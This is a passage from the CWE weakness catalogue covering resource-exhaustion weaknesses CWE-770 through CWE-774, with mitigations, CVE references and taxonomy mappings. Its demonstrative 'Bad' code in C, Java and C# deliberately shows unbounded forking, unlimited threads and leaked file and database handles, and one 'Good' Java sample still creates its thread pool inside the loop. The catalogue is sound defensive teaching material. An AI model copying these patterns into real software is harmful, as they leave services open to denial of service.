Specialized configuration or tuning may be required to train automated tools to recognize this weakness. Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Potential Mitigations

Phase: Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Phase: Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not

strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Phase: Architecture and Design**Phase: Implementation**

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.

Phase: Operation**Phase: Architecture and Design**

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Demonstrative Examples

Example 1:

This code allocates a socket and forks each time it receives a new connection.

Example Language: C

(Bad)

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 2:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method `openSocketConnection` establishes a server socket to accept requests from a client. When a client establishes a connection to this service the `getNextMessage` method is first used to retrieve from the socket the name of the file to store the data, the `openFileToWrite` method will validate the filename and open a file to write to on the local file system. The `getNextMessage` is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C

(Bad)

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!writeToFile(buffer) > 0){
                    break;
                }
            }
            closeFile();
        }
        closeSocket(socket);
    }
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 3:

In the following example, the `processMessage` method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The `getMessageLength` method retrieves the integer value of the length from the first character

array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C

(Bad)

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be
processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

Example Language: C

(Good)

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

Example 4:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Example Language: Java

(Bad)

```
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Example Language: Java (Good)

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + "." + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

Example 5:

An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

Example 6:

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

Example Language: C (Bad)

```
bar connection() {
    foo = malloc(1024);
    return foo;
}
endConnection(bar foo) {
    free(foo);
}
int main() {
    while(1) {
        foo=connection();
    }
    endConnection(foo)
}
```

Observed Examples

Reference	Description
CVE-2022-21668	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). https://www.cve.org/CVERecord?id=CVE-2022-21668
CVE-2009-4017	Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts.. https://www.cve.org/CVERecord?id=CVE-2009-4017

Reference	Description
CVE-2009-2726	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption. https://www.cve.org/CVERecord?id=CVE-2009-2726
CVE-2009-2540	Large integer value for a length property in an object causes a large amount of memory allocation. https://www.cve.org/CVERecord?id=CVE-2009-2540
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets. https://www.cve.org/CVERecord?id=CVE-2009-2054
CVE-2008-5180	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created. https://www.cve.org/CVERecord?id=CVE-2008-5180
CVE-2008-1700	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window. https://www.cve.org/CVERecord?id=CVE-2008-1700
CVE-2005-4650	CMS does not restrict the number of searches that can occur simultaneously, leading to resource exhaustion. https://www.cve.org/CVERecord?id=CVE-2005-4650
CVE-2020-15100	web application scanner attempts to read an excessively large file created by a user, causing process termination https://www.cve.org/CVERecord?id=CVE-2020-15100
CVE-2020-7218	Go-based workload orchestrator does not limit resource usage with unauthenticated connections, allowing a DoS by flooding the service https://www.cve.org/CVERecord?id=CVE-2020-7218

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2375
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2389
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2390
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2391
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2393
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2398
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	2432
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2471
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2472
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2474
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Notes

Relationship

This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Close resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	SER12-J		Avoid memory and resource leaks during serialization
The CERT Oracle Secure Coding Standard for Java (2011)	MSC05-J		Do not exhaust heap space
ISA/IEC 62443	Part 4-2		Req CR 7.2
ISA/IEC 62443	Part 4-2		Req CR 2.7
ISA/IEC 62443	Part 4-1		Req SI-1
ISA/IEC 62443	Part 4-1		Req SI-2
ISA/IEC 62443	Part 3-3		Req SR 7.2
ISA/IEC 62443	Part 3-3		Req SR 2.7

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
125	Flooding
130	Excessive Allocation
147	XML Ping of the Death
197	Exponential Data Expansion
229	Serialized Data Parameter Blowup
230	Serialized Data with Nested Payloads
231	Oversized Serialized Data Payloads
469	HTTP DoS
482	TCP Flood
486	UDP Flood
487	ICMP Flood
488	HTTP Flood
489	SSL Flood
490	Amplification
491	Quadratic Data Expansion
493	SOAP Array Blowup
494	TCP Fragmentation
495	UDP Fragmentation
496	ICMP Fragmentation
528	XML Flood

References

[REF-386]Joao Antunes, Nuno Ferreira Neves and Paulo Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE). 2008 November. < <http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf> >.

[REF-387]D.J. Bernstein. "Resource exhaustion". < <http://cr.yp.to/docs/resources.html> >.

[REF-388]Pascal Meunier. "Resource exhaustion". Secure Programming Educational Material. 2004. < <http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-667]Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581> >.

[REF-672]Frank Kim. "Top 25 Series - Rank 22 - Allocation of Resources Without Limits or Throttling". 2010 March 3. SANS Software Security Institute. < <https://web.archive.org/web/20170113055136/https://software-security.sans.org/blog/2010/03/23/top-25-series-rank-22-allocation-of-resources-without-limits-or-throttling/> >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-771: Missing Reference to Active Allocated Resource

Weakness ID : 771

Structure : Simple

Abstraction : Base

Description

The product does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.



Extended Description

This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	971
ParentOf		773	Missing Reference to Active File Descriptor or Handle	1638

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2345

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) <i>An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

Potential Mitigations**Phase: Operation****Phase: Architecture and Design***Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2431
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2479
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
Software Fault Patterns	SFP14		Failure to Release Resource
ISA/IEC 62443	Part 3-3		Req SR 7.2
ISA/IEC 62443	Part 4-1		Req SVV-1
ISA/IEC 62443	Part 4-2		Req CR 7.2

CWE-772: Missing Release of Resource after Effective Lifetime

Weakness ID : 772

1632

Structure : Simple**Abstraction** : Base**Description**

The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.






Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987
ParentOf		401	Missing Release of Memory after Effective Lifetime	980
ParentOf		775	Missing Release of File Descriptor or Handle after Effective Lifetime	1640
ParentOf		1091	Use of Object without Invoking Destructor Method	1940
CanFollow		911	Improper Update of Reference Count	1811

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2345

Applicable Platforms

Technology : Mobile (Prevalence = Undetermined)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) <i>An attacker that can influence the allocation of resources that are not properly released could deplete the available</i>	

Scope	Impact	Likelihood
	resource pool and prevent all other processes from accessing the same type of resource.	

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Demonstrative Examples

Example 1:

The following method never closes the new file handle. Given enough time, the `Finalize()` method for `BufferedReader` should eventually call `Close()`, but there is no guarantee as to how long this action will take. In fact, there is no guarantee that `Finalize()` will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the `Close()` function is called.

Example Language: Java

(Bad)

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

The good code example simply adds an explicit call to the `Close()` function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

*Example Language: Java**(Good)*

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
    fil.Close();
}
```

Example 2:

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

*Example Language: C#**(Bad)*

```
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example 3:

This code attempts to open a connection to a database and catches any exceptions that may occur.

*Example Language: Java**(Bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 4:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

*Example Language: C#**(Bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
```

```
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 5:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C

(Bad)

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. https://www.cve.org/CVERecord?id=CVE-2007-0897
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server. https://www.cve.org/CVERecord?id=CVE-2001-0830
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent. https://www.cve.org/CVERecord?id=CVE-1999-1127
CVE-2009-2858	Chain: memory leak (CWE-404) leads to resource exhaustion. https://www.cve.org/CVERecord?id=CVE-2009-2858
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets. https://www.cve.org/CVERecord?id=CVE-2009-2054
CVE-2008-2122	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets. https://www.cve.org/CVERecord?id=CVE-2008-2122
CVE-2007-4103	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake. https://www.cve.org/CVERecord?id=CVE-2007-4103
CVE-2002-1372	Chain: Return values of file/socket operations are not checked (CWE-252), allowing resultant consumption of file descriptors (CWE-772). https://www.cve.org/CVERecord?id=CVE-2002-1372

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2376
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2393
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	2401
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2431
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2461
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2463
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2479
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2608
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Notes

Maintenance

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
OMG ASCSM	ASCSM-CWE-772		
OMG ASCRM	ASCRM-CWE-772		
Software Fault Patterns	SFP14		Failure to Release Resource

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
469	HTTP DoS

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-773: Missing Reference to Active File Descriptor or Handle

Weakness ID : 773

Structure : Simple

Abstraction : Variant

Description

The product does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.


Extended Description

This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		771	Missing Reference to Active Allocated Resource	1631

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) <i>An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2431
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
Software Fault Patterns	SFP14		Failure to Release Resource

CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

Weakness ID : 774

Structure : Simple

Abstraction : Variant

Description

The product allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

Extended Description

This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	E	770	Allocation of Resources Without Limits or Throttling	1622

Alternate Terms

File Descriptor Exhaustion :

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) <i>When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.</i>	

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	2432
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP13		Unrestricted Consumption

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

Weakness ID : 775

Structure : Simple

Abstraction : Variant

Description

